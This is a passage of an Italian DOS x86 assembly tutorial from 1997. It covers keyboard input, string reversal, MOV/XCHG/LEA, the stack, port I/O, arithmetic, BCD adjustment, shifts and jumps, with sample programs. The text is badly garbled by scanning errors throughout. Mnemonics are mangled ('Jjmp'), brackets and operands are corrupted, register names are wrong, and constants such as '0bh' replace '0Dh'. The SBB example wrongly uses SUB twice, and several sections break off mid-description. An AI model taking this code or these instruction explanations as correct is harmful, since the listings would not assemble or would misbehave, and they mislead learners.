cose da fare sono molte ma € proprio questo il bello : il controllo assoluto sulla macchina!!! Beh non vi scoraggiate
con un po' di pratica potrete diventare dei veri GURU della programmazione!

In questo capitolo vedremo come si possono leggere dati dalla tastiera, elaborarli e poi visualizzare i risultati.
Anche stavolta vi presentero un semplice programma che andremo poi ad analizzare in profondita; il programma
legge una stringa e la stampa ribaltata.

Programma
; TUT5.ASM - by bOnuS 1997
SEG A SEGMENT
ASSUME CS:SEG A, DS:SEG A
ORG 100H
Ribalta PROC FAR
inizio: Jjmp START ;salta a START
max len EQU 1000 ;massima lunghezza
sorgente db max len dup(?) ;stringa da ribaltare
destinaz db max len dup(?) ;stringa ribaltata
START :
mov si,OFFSET sorgente
prossimo_car: mov ah,01lh ;legge un car dalla tastiera</comment>
int 21h
cmp al, 0Dh ;€ = a return?
je fine lettura ;se si smetti di leggere
mov sorgente([si],al ;sposta il carattere in sorgente
inc si ;incrementa si

Jjmp prossimo _car ;leggi il prossimo car

fine lettura:
mov cx,si
push c¢x ;memorizza la lunghezza nello stack
mov bx,OFFSET sorgente
mov si,OFFSET destinaz



add si,cx ;metto in si la lunghezza della stringa

dec si ;decrementa si
Ribaltamento:
mov al, [bx] ;routine di ribaltamento
mov [si],al ;parto dal fondo e la copio
inc bx ;in destinaz
dec si
loop Ribaltamento ;salto a Ribaltamento
pop si ;prelevo la lunghezza
mov destinaz[si+1],'S" ;aggiungo il terminatore
mov ah, 09h
mov dx, OFFSET destinaz
int 21h ;stampo la stringa ribaltata
RETN
Ribalta ENDP
SEG_A ENDS
END inizio ; fine del programma
Analisi

Analizziamolo... All'inizio ci sono le solite direttive per il CS e il DS e per l'indirizzo iniziale (100h) che ormai
conoscete; subito dopo ci sono le dichiarazioni delle variabili usate:

max len EQU 1000

Questa dichiara una costante max_len che vale 1000 tramite la direttiva EQU.

Sorgente db max len dup(?)

Questa dichiara una specie di array di byte di lunghezza max_len non inizializzato. Conoscete gia le direttive DB e
DUP, questo € un ulteriore modo di combinarle. La stessa istruzione in C sarebbe:

char Sorgente[max len];

L'istruzione successiva € la stessa cosa. Dopo queste dichiarazioni si comincia con il vero programma:

mov si,OFFSET sorgente

prossimo_car: mov ah,01lh ;legge un car dalla tastiera
int 21h
cmp al, 0Dh ;€ = a return?
je fine lettura ;se si smetti di leggere
mov sorgente[si],al ;sposta il carattere in sorgente
inc si ;incrementa si
jmp prossimo car ;leggi il prossimo car

questo frammento di programma legge dalla tastiera una stringa carattere per carattere; si utilizza I'int 21h, 01h
che ritorna il carattere letto in al. Dopo la chiamata all'int 21h si controlla il carattere letto e se € RETURN (codice
ascii 13 = 0Dh) si termina il ciclo di lettura. Il controllo del carattere si effettua tramite l'istruzione cmp (compare)
che confronta i due operandi, se questi sono uguali cmp setta a 1 lo Zero Flag. L'istruzione successiva € un salto
condizionato: "salta se sono uguali". Questa istruzione controlla il valore dello Zero Flag se & uno salta all'etichetta
indicata altrimenti prosegue con l'istruzione successiva. Esistono vari tipi di salti condizionati, ve ne presento qui di
seguito i piu utilizzati:

JE - Salta se sono uguali (ZF = 1)
JNE - Salta se sono diversi (ZF = 0)
JZ - Salta se e zero (ZF = 1)

JNZ - Salta se non €& zero (ZF = 0)

(Nota : questi due salti condizionati sono la stessa cosa hanno soilo nomi
diversi !!)

JC - Salta se c'e stato riporto (CF = 1)



JNC - Salta se non c'e stato riporto (CF = 0)

JP - Salta se il Parity flag e 1
JNP -

JS - Salata se il Sign flag e 1
JNS -

Abbiamo poi due categorie per il confronto tra numeri con segno e senza segno la differenza &€ che nei numeri con
segno il bit piu significativo rappresenta appunto il segno del numero (ricordate il complemento a 2)
Con segno:

JG - Salta se il primo & maggiore del secondo

JING -

JGE - salta se il primo & maggiore o uguale del secondo
JNGE -

JL - Salta se il primo é minore del secondo

JNL -

JLE - Salta se il primo € minore o uguale del secondo
JNLE -

Senza segno:
JA - Salta se il primo & piu grande del secondo
JNA -

JB - Salta se il primo & piu piccolo del secondo
JNB -

JAE -
JBE -

Queste istruzioni di salto condizionato sono indispensabili per il controllo del flusso del programma per costruire i
costrutti if...then e i cicli. Tornando al nostro programma l'istruzione successiva al salto &

mov sorgente[si],al

in al c'e il carattere appena letto che deve essere copiato nella variabile sorgente, quest'ultima viene trattata a
tutti gli effetti come un array di caratteri dove si rappresenta l'indice che nell'istruzione successiva viene
incrementato (inc si) per prepararsi sulla prossima posizione libera. L'ultima istruzione del ciclo di lettura € un
salto (incodizionato) a prossimo_car, in pratica si riprende con la lettura del carattere successivo e si prosegue in
questo modo fino a che non viene premuto Enter. Anche se non mi sono soffermato spero abbiate capito come si
utilizzano le etichette per i salti, basta fare

nome etichetta: ;nota: termina con i due punti

jmp nome etichetta ;nota:non termina con i due punti

Il successivo frammento di programma prepara le due stringhe per il ribaltameto:

mov cx,si

push cx ;memorizza la lunghezza nello stack
mov bx, OFFSET sorgente

mov si,OFFSET destinaz

add si,cx ;metto in si la lunghezza della stringa
dec si ;decrementa si

La prima istruzione mette in cx la lunghezza della stringa che & contenuta nell'indice dell'array (si); tale valore
viene anche salvato nello stack per utilizzarlo in futuro (push cx). Con le due istruzioni successive faccio puntare
bx all'offset della sorgente e si a quello della destinazione e infine sposto si alla fine della stringa sorgente per
effettuare la copia al contrario (partendo dal fondo). L'istruzione add effettua la somma si = si+cx e dec
decrementa l'operando (si). A questo punto viene effettuata la copia ribaltata nella stringa destinazione:



Ribaltamento:

mov al, [bx] ;routine di ribaltamento

mov [si],al ; parto dal fondo e la copio
inc bx ; in destinaz

dec si

loop Ribaltamento ; salto a Ribaltamento

La situazione € questa :

tommm e [CX] ——=—=————————— +
destinaz [202 1212121222222 2]2]2[2]2]|?]
A
\
si
sorgente: lclclclclclclcleclcleclclceclclclclclc]
~
\
bx

si punta alla posizione cx della stringa destinazione, bx punta all'inizio della stringa sorgente e in cx c'e la
lunghezza della stringa da ribaltare quindi non ci resta che scrivere un ciclo di questo tipo (in C):

while (cx>0)
{
destinazione[si] = sorgente[bx];
bx++;
Sal==g
CcX——;

che in assembly risulta come sopra. Notate che lo spostamento da sorgente a destinazione non puo essere
effettuato in un unica istruzione perché il trasferimento memoria-memoria non € consentito si deve utilizzare un
registro di appoggio (nel nostro caso al). Inoltre noterete che nel programma assembly manca l'istruzione che
decrementa cx, questa viene effettuata automaticamente dall'istruzione loop che salta all'etichetta indicata dopo
aver decrementato cx.

L'ultima parte del programma provvede alla visualizzazione della stringa ribaltata :

pop si ;prelevo la lunghezza
mov destinaz[si+1],'$S" ;aggiungo il terminatore
mov ah, 09h
mov dx,OFFSET destinaz
int 21h ;stampo la stringa ribaltata

le prime due istruzioni servono per aggiungere alla fine della stringa il terminatore '$' indispensabile per stampare
una stringa con la funzione 21h, 09h; senza questo verrebbero visualizzati strani caratteri (faccine, cuoricini,
ecc...)

Note Finali

Spero che abbiate capito il funzionamento di questo secondo programma, non che sia molto piu difficile del primo
pero introduce alcuni controlli di fondamentale importanza quali i salti e i cicli indispensabili per scrivere
programmi che facciano qualcosa !!!

Ora che abbiamo un'idea di come e fatto un programma in Assembly vedimo un po' piu a fondo come si usano le
istruzioni per per realizzare i nostri programmi. In questa prima parte dei tutorial dedicati alle istruzioni trattero in
dettaglio le istruzioni che servono per spostare, salvare e caricare i dati dalla/in memoria.



Muovere i dati & una dei principali compiti di un programma Assembly, abbiamo gia visto che sono possibili solo i
seguenti spostamenti:

memoria <--> registro
registro <--> registro

Istruzioni di movimento

MOV

Il metodo pil comune per spostare i dati € quello di utilizzare I'istruzione MOV come abbiamo gia visto nei
precedenti esempi. La sintassi completa dell'istruzione € le seguente:

Alcuni esempi sono:

mov ax,’7 ;valore --> registro

mov mem, 45 ;valore --> memoria

mov ax,bx ;registro --> registro

mov mem[bx],7 ;valore --> memoria (indiretto)
XCHG

Un'altra istruzione per eseguire spostamenti di dati € XCHG che scambia tra loro i due operandi :

Ad esempio:
xchg ax,bx ; pippo:=ax;

; ax:=bx;

; bx:=pippo;
LAHF e SAHF

Per esaminare il registro dei flag esistono queste due instruzioni: LAHF che carica in AH, SAHF che li salva. Spero
vi sia sorto un dubbio. Come faccio a far stare l'intero registro di flag in 8 bit ?? Bene quete due instruzioni
lavorano solo sugli 8 bit meno significativi del registro. Esistono comunque altre due istruzioni per salvare e
ripristinare il registro di flag nello Stack ma le vedremo dopo.



Convertire le dimensioni di un dato

Siccome trasferire dati tra registri di diversa dimensione non € consentito, per fare questo tipo di operazione si
devono prendere alcuni accorgimenti. Prima di tutto ci si comporta in modo diverso a seconda che il dato abbia o
no il segno. Nel caso di SIGNED VALUE I'Assembly mette a disposizione due istruzioni: CBW (Convert Byte to
Word) e CWD (Convert Word to Doubleword). CBW converte il dato a 8 bit con segno contenuto in AL mettendolo
in AX (16bit). CWD come la precendente prende il dato in AX (16bit) e lo mette in DX:AX. Per capire meglio
vediamo un esempio:

.DATA
mem8 DB =5
meml 6 DW =3
.CODE
mov al, mem8 ;mette in AL -5 (FBh)
cbw ;converte (8-->16) (FBh—-->FFFBh) in AX
mov ax,meml6 ;AX=-5 (FFFBh)
cwd ;converte (16-->32) (FFFB-->FFFF:FFFBh) in DS:AX

Usare i puntatori

LEA
L'istruzione LEA (Load Effective Address) carica un puntatore di tipo NEAR nel registro specificato, la sua sintassi

LEA registro,memoria

Ad esempio:

LEA dx, stringa ;carica in dx l'offset di stringa
equivale a

MOV dx,OFFSET stringa

NOTA:

il secondo modo (con I'uso di MOV) & pil veloce essendo I'OFFSET una costante nota all'assembler che quindi non
deve calcolarla. L'istruzione LEA é piu utile per calcolare l'indirizzo indiretto:

LEA dx,stringal[si] ;mette in dx l'indirizzo di stringa[si]
LDS e LES

Queste sono le istruzioni analoghe a LEA solo che si usano per puntatori FAR. La loro sintassi & uguale
all'istruzione LEA. Il registro segmento nel quale viene messo il dato dipende dall'istruzione: LDS mette il
segmento in DS e LES lo mette (indovinate un po !!) in ES. Queste istruzioni sono spesso usate con le stringhe
come vedremo piu avanti. Vediamo comunque un esempietto:

.DATA

stringa DB "A me piace la Nutella"

fpStr DD stringa ;Puntatore FAR a stringa
punt DD 100 DUP (?)

.CODE



les di, fpStr ;mette 1'indirizzo in ES:DI
1ds si,punt [bx] ;mette 1'indirizzo in DS:SI

Operazioni sullo stack

Lo stack & un'area di memoria di fondamentale imporatanza nei processo 80x86 e molte istruzioni quali CALL, INT,
RET, IRET fanno uso dello stack per salvare parametri, indirizzi e registri.

PUSH e POP

Queste sono le due istruzioni base rispettivamente per scrivere e leggere nello stack, esse modificano
automaticamente il valore di SP. La loro sintassi & la seguente:

PUSH < registro|memoria|valore >
POP < registro|memoria >

NOTA:

PUSH valore & disponibile solo sui processori 80186 e superiori. Attenzione che le dimensioni di una "cella" di stack
e di 2 byte. Ho gia spiegato in un precedente tutorial I'uso dello stack (struttura LIFO) e qui non mi soffermo oltre
e vi lascio con qualche esempio:

mov bp, sp ;preparo bp alla base dello stack
push ax ;salva il primo
push bx ;salva il secondo
push cx P
pop cx ;prelevo il terzo
pop bx ;prelevo il secondo
pop ax

Una breve nota: lo stack a differenza di altre strutture comincia a memorizzare i dati nelle locazioni alte di
memoria e via via scende verso il basso man mano che aggiungo dati. Quindi se decido di accedere allo stack
tramite indirizzamento indiretto dovro fare nel seguente modo:

mov bp, sp
push ax ;salvo i1 3 regsitri
push bx
push cx
mov ax, [bp-21] ;prelevo ax
mov bx, [bp-4] ;prelevo bx
mov cx, [bp-61 Booo

A questo punto perd non ho vuotato lo stack (ho solo letto i valori) per ripristinarlo come prima devo aggiungere
I'istruzione:

sub sp, 6
sottraggo cioe 6 byte dallo Stack Pointer (2 byte per ogni registro). Graficamente la situazione & questa:

Stack



Low Mem | o= |

Questo prima della sub.
PUSHF e POPF

Sono istruzioni che salvano nello stack e ripristano il valore del registro di flag. Per processori 386 e sup. ci sono
anche le due istruzioni rispettive per i registri a 32 bit : PUSFD e POPFD.

PUSHA e POPA

Salvano e ripristinano tutti i registri nel seguente ordine: AX,CX,DX,BX,SP,BP, SI e DI. Il valore di SP che viene
salvato e quello prima dell'istruzione PUSHA Naturalmente la POPA li estrae in ordine inverso. Per processori 386 e
sup. ci sono anche le due istruzioni rispettive per i registri a 32 bit : PUSHAD e POPAD.

Scrivere e leggere sulle porte di I/0

Le porte sono il mezzo per far comunicare la CPU con le schede presenti nel computer. Ogni porta ha un suo
numero che puo essere usato per accedervi.

IN e OUT

IN legge il dato dalla porta e OUT lo manda alla porta, la loro sintassi é:

IN accumulatore, < numero porta|DX >
OUT < numero porta|DX >,accumulatore

NOTA:

ricordo che I'accumulatore & per le famiglie 80x86 il registro ax che pud essere usato a 8,16 o 32 bit
(al/ah,ax,eax). Si deve necessariamente usare il registro DX per accedere ad una porta il cui numero &€ maggiore
di 256. Vediamo un esempio dell'uso di queste istruzioni con questa sequenza di istruzioni che fanno suonare lo
speaker:

sound EQU 61h ;porta che controlla lo speaker
timer EQU 42h ;porta che fa suonare lo speaker
on EQU 00000011b ;1 2 LSB attivano lo speaker
in al, sound ;preleva lo stato attuale della porta
or al,on ;attiva lo speaker
out sound, al ;rimanda 11 valore
mov al, 250 ;comincia da 250
suona: out timer,al
mov cx, OFFFFh ;aspetta "FFFF volte"
aspetta:loop aspetta
dec al
jnz suona
in al, sound
and al,NOT on ;spegne lo speaker

out sound, al ;ripristina la porta



Nei processori 80186 e superiori sono state introdotte altre istruzioni per leggere e scrivere stringhe :

rr - —_————— —— — — — — — — — — — — — — — — 1
I
! INS < [ES:]destinazione >,DX I
| INSB i
| INSW I
\-__ _
e le rispettive out:
r e —_——————— — — — — — — — — — — — — — — 1
I
| OuUTS I
| ouTSB |
| OUTSW I
l\-__ - _________ _
La INS e la OUTS non accettato un valore immediato per l'indirizzo e si deve far uso di DX. Vedremo meglio queste
istruzioni quando parleremo di stringhe.
Note Finali
Per adesso mi fermo qui, questa volta non vi presento nessun programma di piu che altro perché non mi viene in
mente niente su questo argomento; comunque potete sempre provare a scrivere qualcosa voi e se incontrate
difficolta, beh fatemelo sapere cerchero di aiutarvi.
Introduzione : Operazioni Fondamentali
In questo aticolo analizzeremo le istruzioni che I'Assembly mette a disposizione per effettuare calcoli matematici
(somme, sottrazioni, etc...) nonché quelle che permettono di manipolare i dati a livello di bit (AND, OR, etc...)
Operazioni Fondamentali
ADD, ADC e INC
La prima operazione matematica che si imapara alle elementari € senza dubbio la somma ed anche io comincio
con quella. Le istruzioni che eseguono la somma sono tre:
r—-———-""""~"F~—"~—"F~—"F—F '|
I
! ADD < registro|memoria > , < registrolmemoria|valore > I
| ADC < registrolmemoria > , < registro|memoria|valore > I
| INC < registro|memoria > l
0\ - ___________ .- _

NOTA:
dato che i trasferimenti diretti memoria-memoria non sono possibili i due operandi non possono essere entrambi
locazioni di memoria.

Perche 3 istruzioni?

Istruzione Significato

ADD opl,op2 effettua la somma tra opl e op2 e mette il risultato in opl



ADC opl,0p2 effettua la somma tra opl e op2, mette il risultato in opl e se c'é riporto somma 1 al risultato

incrementa di 1 op;

INC o ) 5 - s . e . . o
P il numero e considerato senza segno quindi non viene modificato il valore del CF in caso di riporto.

Queste operazioni effettuano una somma a prescindere dal fatto che si stia lavorando con numeri con segno o
senza segno, sta al programmatore interpretare il valore della somma. Sta anche al programmatore il compito di
controllare il risultato in caso di OVERFLOW (quando il valore della somma non sta nei registri) analizzando il
valore del bit di overflow nel Flag Register. Vediamo alcuni esempi:

.DATA
dato DB 39 ;1 byte
.CODE
mov al, 26 ;al=26
inc al ;al=27
add al,76 ;al=103
add al,dato ;al=142 oppure al=-114 (se con segno!!)
mov ah,al ;ah=142, al=142
add al,ah ;al=28 con CF=1

Tramite l'istruizone ADC & possibile effettuare somme che non stanno in un unico registro:

.DATA
dato32 DD 316423
.CODE
mov ax, 43981 ;ax=43981
sub dx, dx ; dx=0
add ax,WORD PTR dato32[0] ;somma ax ai 2 byte meno significativi
;di dato32
adc dx, WORD PTR dato32[2] ;somma ax ai 2 byte piu significativi

;di dato32 tenendo conto del riporto

In questo caso il risultato € contenuto in DX:AX

SUB, SBB, DEC e NEG

Dopo I'addizione non poteva mancare la sottrazione! La sintassi per queste operazioni & la seguente:

SuB < registro|memoria > , < registro|memoria|valore >
SBB < registro|memoria > , < registro|memoria|valore >
DEC < registrolmemoria >
NEG < registro|memoria >

Cominciamo dalla SUB che funziona esattamente come la ADD: sottrae dal primo operando il secondo e mette il
risultato nel primo. Valgono le stesse osservazioni fatte per la somma quindi se non ve le ricordate andate a
rileggerle. Idem per quanto riguarda la DEC che altro non fa che sottrarre 1 all'operando, anche qui il numero &
trattato come senza segno. Vi riporto anche qui qualche esempio per capire meglio:

.DATA
dato DB 122
.CODE



mov al, 95 ;al=95

dec al ;al=94

sub al,23 ;al=71

sub al,dato ;al=-51 se con segno oppure al=205 senza segno
mov ah,119

sub al,ah ;al=86 con OF=1

Quando il risultato va sotto lo zero viene settato il SF (sign flag). Per poter effettuare le sottrazioni vere e proprie
con tanto di riporto si usa la SBB (subtract with borrow) che funziona esattamente come la SUB solo che in caso di
riporto viene sottratto 1 al risultato. Esempio:

.DATA
datoA DD 316423
datoB DD 156739
.CODE
mov ax,WORD PTR datoA[0]
mov dx,WORD PTR datoA[2] ;jora ho il primo numero in DX:AX
sub ax,WORD PTR datoB[0]
sub dx,WORD PTR datoB[2] ;ho il risultato in DX:AX

L'ultima istruzione che rientra nella categoria delle sottrazioni & la NEG che cambia il segno dell'operando e che
quindi deve essere usata solo per i numeri con segno. Esempio:

mov ax,143 ;ax=143 --> 8Fh
neg ax ;ax=-143 --> FF71lh

NOTA:
Vi ricordo che i numeri negativi sono rappresentati in complemento a 2.

MUL e IMUL

La terza operazione che vediamo & la moltiplicazione, senza segno (MUL) e con segno (IMUL). La loro sintassi € la
seguente:

MUL < registro|memoria >
IMUL < registrolmemoria >

Vi chiederete dove sta il secondo fattore. Bene |'operando specificato nella MUL (o nella IMUL) verra moltiplicato
per il numero che & contenuto nell'accumulatore (AX per i 16bit, AL per gli 8bit o EAX per i 32bit). E il risultato?
Quello dipende dagli operandi:

Istruzione Significato
1byte * AL  risultato in AX (CF=0 e OF=0 se e solo se AH=0)
2byte * AX  risultato in DX:AX (CF=0 e OF=0 se e solo se DX=0)

4byte * EAX risultato in EDX:EAX (CF=0 e OF=0 se e solo se EDX=0)

Anche qui vediamo alcuni esempi:



.DATA

dato DW -30000
.CODE
mov al,23 ;al=23
mov bl,24 ;bl1=24
mul bl ;ax=552 (CF=1 e OF=1)
mov ax, 50
imul dato ;DX:AX=-1500000 (CF=1 e OF=1)

Da questo esempio si capisce anche come funziona la IMUL.
Per processori 80186 e superiori la IMUL prevede anche le seguenti sintassi:

IMUL < registro >, < valore >
IMUL < registro >, < memoria >, < valore >

In questo caso il risultato viene messo nel registro specificato e nel caso non ci stia viene settato CF e OF. Quando
specifico 3 parametri il primo € la destinazione e gli altri due sono i fattori del prodotto. Esempi:

imul dx, 455 ;moltiplica dx*455

imul ax, [bx],6 ;moltiplica 11 valore puntato da bx*6 e
;mette 11 risultato in ax

DIV e IDIV

Anche per la divisione esistono 2 istruzioni una per i humeri senza segno (DIV) e una per quelli col segno (IDIV).
Entrambe ritornano il quoziente e il resto, e la loro sintassi é:

DIV < registro|memoria >
IDIV < registro|memoria >

Per effettuare una divisione di un numero a 16bit per uno di 8bit devo mettere il numero da dividere in AX e
specificare il divisore (cioe I'altro numero) in un altro registro. Il risultato della divisione sara in AL e il resto in
AH ; quindi fate attenzione il dividendo viene perso. Se invece voglio dividere un numero a 32 bit per uno di 16 si
deve mettere il dividendo in DX:AX, specificare il divisore in un registro a 16 bit (che non sia AX o DX) ed
effettuare la divisione: avremo il risultato in AX e il resto in DX. Per dividere tra loro due numeri a 16 bit si deve
prima trasformare il dividendo in un numero a 32 bit tramite l'istruzione CWD (andate a rivederla) se ci interessa il
segno oppure nel modo visto nel tutorial precedente se stiamo lavorando con numeri senza segno. Se si cerca di
effettuare una divisione per 0 o se il quoziente non sta nei registri viene generata una chiamata all'int 0 ,il
programma termina e il controllo torna al DOS. Per evitare questo problema ci sono due modi: o si controlla il
valore del divisore prima di effettuare I'istruzione DIV, oppure intercettare I'int O e riscriversi una routine di
interrupt per gestire I'evento ma questo lo vedremo piu avanti!! Vi riporto quelche esempio:

.DATA
datal6 DW -2000
data32 DD 500000
.CODE
mov ax, 700 ;ax=700
mov bl, 36 ;bl=36
div bl ;al=19 (quoziente), ah=16 (resto)
mov ax,WORD PTR dato32[0]

mov dx,WORD PTR dato32[2] ;carico il dividendo in DX:AX



idiv datol6 ;500000/-2000
;AX=-250 , DX=0
mov ax,WORD PTR datolé6
cwd ;1o estendo a 32bit in DX:AX
mov bx,-421
idiv bx ;ax=4 , dx=-316

Ora che abbiamo visto le 4 operazioni fondamentali analizzeremo alcune istruzioni che lavorano con i numeri binari
in notazione BCD. Vi chiederete perche.. beh sappiate che lavorare con in numeri in BCD spesso € piu facile per
fare calcoli. Queste istruzioni non hanno operandi perche lavorano sempre con al.

Operazioni BCD
AAA (Adjust after an Addiction)

Per capire cosa fa vediamo un esempio:

mov ax, 9 ;ax=9
mov bx, 3 ;bx=3
add al,bl ;al=C
aaa ;al=2 ah=1 CF=1

Come si vede dall'esempio il risulato (in "unpacked" BCD) I'ho in ax: in ah ci sono le decine e in al le unita. Notate
che setta anche il Carry a 1. Ricordatevi che una cifra in decimale viene qui codificata con 1byte.

AAS (Adjust After a Subctraction)

mov ax,103h ;ax=13h (in BCD ah=1 al=3!!"!)
mov bx, 4 s bx=4
sub al,bl ;al=FFh (=1)
aas ;al=9 ah=0 CF=1

AAM (Adjust After a Multiplication)

mov ax, 903h
mul ah ;moltiplica ah*al = 1Bh
aam ;ah=2 al=7;

Attenzione : questa istruzone si puo usare solo per le moltiplicazioni senza segno !!!

AAD (Adjust BEFORE a division)

A differenza delle altre 3 questa va usata prima di una divisione infatti trasforma il numero in BCD in codica binario
prima dell'operazione. Dopo la divisione il risultato va risistemato tramite un AAM. Vediamo ad esempio (25/2):

mov ax,205h ;carico il dividendo (25)
mov bl ;carico il divisore (2)
aad ;trasformao il 25 in BCD in 19h binario (ax=19h)
div bl ;jquoziente in al=0Ch resto in ah=1
aam ;Sistema al in ax=102h (12 in BCD)

Notate che il resto viene perso: se vi serve ricordatevi di slvarlo prima dell'istruzione AAM.

Abbiamo visto come si lavora con numeri a 2 cifre ma se devo usare numeri pil grossi? Semplice devo iterare il
metodo per ogni cifra del numero !!

Esistono poi altre due istruzioni per lavorare con un altro tipo di numeri BCD cosiddetti "packed" in cui ogni cifra
occupa solo 4 bit. A differenza delle altre non cambiano il valore di ah ma lavorano sul registro di flag ogni volta
che c'é un riporto.



DAA (Adjust After an Addiction)

mov ax,8833h ;jcarica 88 e 33 in un unico registro
add al,ah ; 0BBh
daa ;CF=1 e AL=21

DAS (Adjust After an Subctraction)

mov ax, 3883h ;jcarica 38 e 83 in BCD
sub al,ah ;04Bh
das ;CF=0 AL=45

Operazioni Logiche

Vediamo ora le istruzioni che il processore ci mette a disposizione per effettuare operazioni logiche. Qui andro
abbastanza veloce, il significato degli operatori I'ho gia spiegato percid mi limiterd a elencare la sintassi delle
istruzioni e a fare qualche breve commento.

Effettua un AND bit a bit degli operandi. L'AND puo essere utile per azzerare alcuni bit di un registro tramite una
"maschera" in cui i bit da azzerare sono 0 e gli altri sono 1:

mov ax,035h ;00110101

mov bx, 0FBh ;11111011

and ax, bx ;00110001 ho azzerato il secondo bit !!
OR

Effettua I'OR esclusivo bit a bit. E molto usata per azzerare il valore di un registro facendo XOR con se stesso: &
molto veloce!!

Effettua il NOT logico sui bit dell'operando.



Altre Operazioni

Vediamo infine alcune istruzioni non prettamente matematiche ma che vengono spesso utilizzate per questo
SCopo.

SHL e SHR

Queste due istruzioni shiftano a sinistra e destra (risp.) I'argomento. Innanzi tutto la sintassi & la seguente:

SHL < registrolmemoria > , < CL|1 >
SHR < registrolmemoria >, < CL|1 >

Vediamo cosa vuol dire con esempio:

mov al, 01001011 ;al=01001011
shl al,1 ;al=10010110 CF=0

In pratica & successo che tutti i bit sono stati spostati di una posizione verso sx, il bit piu significativo € andato nel
CF e quello meno significativo € stato messo a zero. Dal punto di vista matematico ho effettuato una
moltiplicazione per 2!! Lo stesso discorso simmetrico vale per lo Shift a dx e in questo caso il humero viene diviso
per 2. Se sposto di due posizioni il numero verra moltiplicato/diviso per 4, se sposto di 3 per 8,di 4....

ROR e ROL

Queste servono per far ruotare i bit a destra e sinistra (risp.) La loro sintassi € uguale a shl e shr (non sto a
riscriverla!). Vediamo subito un esempio:

mov al, 01001011 ;a2l=01001011
ror al,1 ;al=10100101
mov cl,3
rol al,cl ;al=00101101

Note Finali

Bene anche questa puntata é finita. Ora dovreste avere i mezzi per scrivere qualche semplice routine matematica.
E importante che abbiate capito come vengono rappresentati i numeri all'interno di un calcolatore quindi andate a
rileggervi il primo capitolo sui numeri binari ponendo particolare attenzione ai numeri negativi.

Oggi vedremo nel dettaglio un prototipo di programma che esegue somme su numeri ad una sola cifra. Vi riporto
subito il listato e poi una spiegazione del flusso del programma:

;TUT8.ASM - by bOnu$ 1997
;Legge due numeri di una cifra e 1li somma.
;NOTA : 443 si scrive 04+03 !'!!

SEG A SEGMENT
ASSUME CS:SEG A, DS:SEG A
ORG 100H

Somma PROC FAR

INIT: JMP START ;salta a START

Msg Numl DB "Inserisci il primo addendo : $"

Msg Num2 DB 13,10, "Inserisci il secondo addendo : S$"
Numl DW 0

Num2 DW 0

Totale DW 0



START:

; —— Lettura del primo addendo
mov dx, OFFSET Msg Numl ;stampo il primo msg
mov ah, 09h
int 21h

mov ah,01lh

mov si, 0
Leggi 1: int 21h ;leggo un carattere
cmp al, 0Dh ;Enter ?
je Fine 1
sub al,30h
mov BYTE PTR Numl[si],al ;1o metto in Numl
inc si

jmp Leggi 1
Fine 1:

; —— Lettura del secondo addendo
mov dx, OFFSET Msg Num2 ;stampo 11 secondo msg
mov ah, 09h
int 21h

mov ah,01h

mov si, 0
Leggi 2: int 21h ;leggo un carattere
cmp al, 0bh ;Enter ?
je Fine 2
sub al,30h
mov BYTE PTR Num2([si],al ;1o metto in Num2
inc si

jmp Leggi 2
Fine 2:

; —-- salta una riga
mov ah, 02h
mov dl,13

int 21h
mov dl, 10
int 21h

; —— Somma dei due numeri

mov ax, Num?2 ;cifra del Num2
add ax, Numl ;cifra del Numl
aaa ;metto a posto le cifre
mov totale, ax
add BYTE PTR totale[0],30h ;prepara per la stampa
add BYTE PTR totale[1l],30h
mov al,'s' ;aggiunge il terminatore
mov BYTE PTR totale[2],al
mov ah,0%h
mov dx, OFFSET totale
int 21h ;stampa risultato
RETN
Somma ENDP
SEG A ENDS
END INIT

Come potete vedere il programma € abbastanza didattico nel senso che non & per niente ottimizzato ma serve
come base per capire come si possono eseguire le operazioni matematiche in Assembly.

Si inizia con la dichiarazione delle varibili che ci serviranno nel programma: due stringhe da visulizzare e tre
varibili per contenere i due numeri e il risultato. Le variabili Num1 e Num2 occupano due byte 1 per ogni cifra in
notazione BCD, lo stesso vale per il totale quindi la somma non puo superare 99. Il programma comincia
visualizzando la prima stringa e leggendo il primo numero tramite l'interrupt 21h/01h. Viene letto una cifra per
volta quindi & importante inserire prima le decine(inserendo 0 se il numero € ad una cifra) e poi le unita. Lo stesso
lavoro viene fatto fatto per il secondo numero. La somma vera e propria viene effettuata son I'operazione ADD
seguita da AAA per sistemare il risultato in notazione BCD per facilitare la visualizzazione a video. Notate che alle
cifre del risultato ho sommato 30h che ¢é il codice ASCII dello zero, questo mi serve per convertire il risultato in un
carattere da visualizzare e in questo caso lo converto nel carattere della cifra corrispondente. Viene poi aggiunto
un terminatore al risultato ($) e viene effettuata la stampa.



Note Finali

Non mi sono dilungato molto sulla spiegazione del programma vorrei che ognuno di voi se lo studi per proprio
conto e magari cerchi di modificarlo facendo in modo che si possa superare la soglia dei 99 (basta controllare il CF
dopo la somma ed eventualmente mettere un 1 davanti al risultato). Beh in pratica vi ho gia detto come si fa ....
allora provate a farne uno che esegue una sottrazione o una moltiplicazione... ciao !

Abbiamo gia visto in uno dei tutorial precedenti le istruzioni per effettuare i salti condizionati, qui li riassumeremo
brevemente e vedremo alcune altre istruzioni per effettuare cicli e salti incondizionati.

Salti Incondizionati

JMP

Questa istruzione € usata per effettuare salti incondizionati; la sintassi é:

L'operando deve contenere l'indirizzo a cui saltare e a differenza dei salti condizionati in cui I'indirizzo doveva
essere SHORT qui puo essere sia NEAR che FAR.

Salti Condizionati

J <condizione>

Questi sono i salti condizionati. Non vi riporto I'elenco che ho gia scritto in passato. Mi limiterd a dare alcune
informazioni aggiuntive. La distanza tra l'istruzione di salto e I'indirizzo a cui saltare deve essere di tipo SHORT
(max 128 bytes). Quindi per effetture salti condizionati maggiori di 128 byte si deve riorganizzare il programma,
ad esempio:

cmp ax,6 ;salta se ax=6
jne skip ;non salta
Jmp distant ;>128 bytes
skip:
distant:...

A volte invece di dare il nome a tutte le etichette si usano le Anonymous Label per effettuare i salti che si indicano
con @@:

cmp cx,20
jge QF

@e:



L'istruzuione jge @F salta alla prossima etichetta anonima.
@e:

cmp cx, 30
Jje @B

In questo caso invece salta a quella precedente. Sia in un caso che nell'altro salta a quella piu vicina. Questo
metodo & comodo per non dover inventare tanti nomi per le etichette.

L'Istruzione TEST

Oltre all'istruzione cmp si puo usare l'istruzione TEST:

Questa serve per fare un confronto sui bit degli operandi: es.

.DATA
bits DB ?

.CODE
test bits,10100b ;se 1 bit 4 o 2 sono a 1
jnz pippo ;salta a pippo

pippo:

I Cicli
LOOP , LOOPE, LOOPZ, LOOPNE, LOOPNZ

Le istruzioni LOOPxx sono usate per effettuare un certo unmero di cicli e sono simili alle istruzioni For, While,
